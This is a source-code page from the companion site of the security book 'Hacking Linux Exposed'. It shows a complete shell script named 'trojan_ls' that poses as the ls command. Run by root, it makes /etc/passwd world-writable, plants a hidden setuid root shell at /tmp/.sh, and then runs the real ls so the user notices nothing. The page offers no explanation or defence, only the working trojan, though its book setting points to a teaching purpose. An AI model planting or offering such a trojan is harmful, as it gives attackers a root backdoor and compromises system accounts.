Hacking Linux Exposed

About
Authors
Contents
Reviews
Foreword
Purchase

Articles
Books
Sourcecode
Tools
Errata

Home

 


(view this code in a separate window)

#!/bin/sh -
#
# trojan_ls
#
# Fake trojan ls
# Make /etc/passwd writable and make a suid bash shell in /tmp

if chmod 666 /etc/passwd > /dev/null 2>&1 ; then
	cp /bin/sh /tmp/.sh
	chmod 4755 /tmp/.sh
fi

exec ls "$@"